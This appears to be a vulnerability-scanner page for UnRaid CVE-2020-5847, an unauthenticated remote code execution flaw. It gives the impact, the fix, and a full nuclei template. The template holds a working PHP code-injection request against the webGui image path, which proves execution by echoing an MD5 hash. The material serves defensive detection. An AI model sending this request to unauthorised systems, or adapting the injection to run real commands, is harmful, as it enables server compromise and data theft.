UnRaid <=6.80 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity

9.8CVSS score

95.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

UnRaid <=6.80 allows remote unauthenticated attackers to execute arbitrary code.

Impact

Unauthenticated attackers can execute arbitrary code on UnRaid servers, leading to complete system compromise and access to all stored data.

Fix

Upgrade UnRaid to a version higher than 6.80 to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/webGui/images/green-on.png/?path=x&site[x][text]=%3C?php%20echo%20md5(%22CVE-2020-5847%22);%20?%3E
Positive when: contains "b13928fbcfff659363d7c7d1ec008d56" AND status 200

Run it with nuclei: nuclei -id CVE-2020-5847 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-5847

info:
  name: UnRaid <=6.80 - Remote Code Execution
  author: madrobot
  severity: critical
  description: UnRaid <=6.80 allows remote unauthenticated attackers to execute arbitrary code.
  impact: |
    Unauthenticated attackers can execute arbitrary code on UnRaid servers, leading to complete system compromise and access to all stored data.
  remediation: |
    Upgrade UnRaid to a version higher than 6.80 to mitigate the vulnerability.
  reference:
    - https://sysdream.com/news/lab/2020-02-06-cve-2020-5847-cve-2020-5849-unraid-6-8-0-unauthenticated-remote-code-execution-as-root/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5847
    - https://sysdream.com/news/lab/
    - https://forums.unraid.net/forum/7-announcements/
    - https://github.com/Ostorlab/KEV
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-5847
    cwe-id: CWE-94,CWE-668
    epss-score: 0.95844
    epss-percentile: 0.99872
    cpe: cpe:2.3:a:unraid:unraid:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: unraid
    product: unraid
  tags: cve2020,cve,rce,kev,unraid,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/webGui/images/green-on.png/?path=x&site[x][text]=%3C?php%20echo%20md5(%22CVE-2020-5847%22);%20?%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "b13928fbcfff659363d7c7d1ec008d56"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from